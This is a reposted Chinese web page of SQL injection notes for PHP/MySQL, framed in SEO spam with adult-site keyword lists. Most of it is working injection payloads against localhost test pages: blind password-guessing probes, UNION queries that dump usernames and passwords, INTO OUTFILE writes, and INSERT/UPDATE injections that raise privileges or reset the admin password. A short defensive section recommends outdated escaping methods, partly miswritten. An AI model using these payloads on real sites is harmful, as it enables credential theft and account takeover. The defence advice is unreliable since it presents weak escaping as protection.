一区二区久久-一区二区三区www-一区二区三区久久-一区二区三区久久精品-麻豆国产一区二区在线观看-麻豆国产视频

PHP的SQL注入實(shí)現(xiàn)(測(cè)試代碼安全不錯(cuò))

SQL注入的重點(diǎn)就是構(gòu)造SQL語(yǔ)句,只有靈活的運(yùn)用SQL
語(yǔ)句才能構(gòu)造出牛比的注入字符串。學(xué)完之后寫(xiě)了點(diǎn)筆記,已備隨時(shí)使用。希望你在看下面內(nèi)容時(shí)先了
解SQL的基本原理。筆記中的代碼來(lái)自網(wǎng)絡(luò)
===基礎(chǔ)部分===
本表查詢(xún):
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union聯(lián)合語(yǔ)句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

導(dǎo)出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT語(yǔ)句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
構(gòu)造homepage值為:http://4ngel.NET', '3')#
SQL語(yǔ)句變?yōu)椋篒NSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.NET', '3')#', '1');

UPDATE語(yǔ)句:我喜歡這樣個(gè)東西
先理解這句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就實(shí)現(xiàn)了注入
1:修改homepage值為
http://4ngel.NET', userlevel='3
之后SQL語(yǔ)句變?yōu)?
UPDATE user SET password='mypass', homepage='http://4ngel.NET', userlevel='3' WHERE id='$id'
userlevel為用戶(hù)級(jí)別
2:修改password值為
mypass)' WHERE username='admin'#
之后SQL語(yǔ)句變?yōu)?
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值為
' OR username='admin'
之后SQL語(yǔ)句變?yōu)?
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高級(jí)部分===
常用的MySQL內(nèi)置函數(shù)
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函數(shù)應(yīng)用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相當(dāng)于angel,十進(jìn)制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

確定數(shù)據(jù)結(jié)構(gòu)的字段個(gè)數(shù)及類(lèi)型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜數(shù)據(jù)表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查詢(xún)得到用戶(hù)名和密碼
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#驗(yàn)證第一位密碼
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服務(wù)器方面
magic_quotes_gpc設(shè)置為On
display_errors設(shè)置為Off
編碼方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","/_",$keywords);
$keywords = str_replace("%","/%",$keywords);
數(shù)值類(lèi)型
使用intval()抓換
字符串類(lèi)型
SQL語(yǔ)句參數(shù)中要添加單引號(hào)
下面代碼,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","/_",$keywords);
$keywords = str_replace("%","/%",$keywords);
}
有用的函數(shù)
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
參考文章:
http://www.4ngel.NET/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.NET/mysql_manual/06-4.html(MYSQL語(yǔ)句參考)

php技術(shù)PHP的SQL注入實(shí)現(xiàn)(測(cè)試代碼安全不錯(cuò)),轉(zhuǎn)載需保留來(lái)源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 天天干天天干天天干 | 婷婷六月天在线 | 麻豆一区二区三区四区 | 91免费国产在线观看 | 国外免费精品视频在线观看 | 一区二区三区不卡在线观看 | 亚洲综合在线成人一区 | 欧美另类videosbestsex高清 | 精品视频一区二区三三区四区 | 美女精品永久福利在线 | 亚洲第一页乱 | 欧美另类娇小 | 丁香婷婷激情五月 | 成人免费在线观看视频 | 亚洲第一区香蕉_国产a | 国产精品午夜高清在线观看 | 亚洲国产精品激情在线观看 | 国产aⅴ精品一区二区三区久久 | 亚洲伦理一区二区 | 亚洲一区第一页 | 国产免费播放一区二区三区 | 亚洲一区二区三区网站 | 精品综合在线 | 精品精品| 99国产精品欧美久久久久久影院 | 9丨精品国产高清自在线看 aⅴ一区二区三区 | 免费的成人a视频在线观看 免费的黄色片视频 | 国产黄色网页 | www.国产视频 | 苦瓜se在线精品视频 | 国产原创麻豆精品视频 | 肉色丝袜一区二区高跟鞋 | 欧美日本一区二区三区 | 另类天堂网| 国产激情网 | 成人免费观看视频高清视频 | 色多多www视频在线观看免费 | 成人午夜在线观看国产 | 在线观看污污网站 | 精品一区二区三区波多野结衣 | 点击进入不卡毛片免费观看 |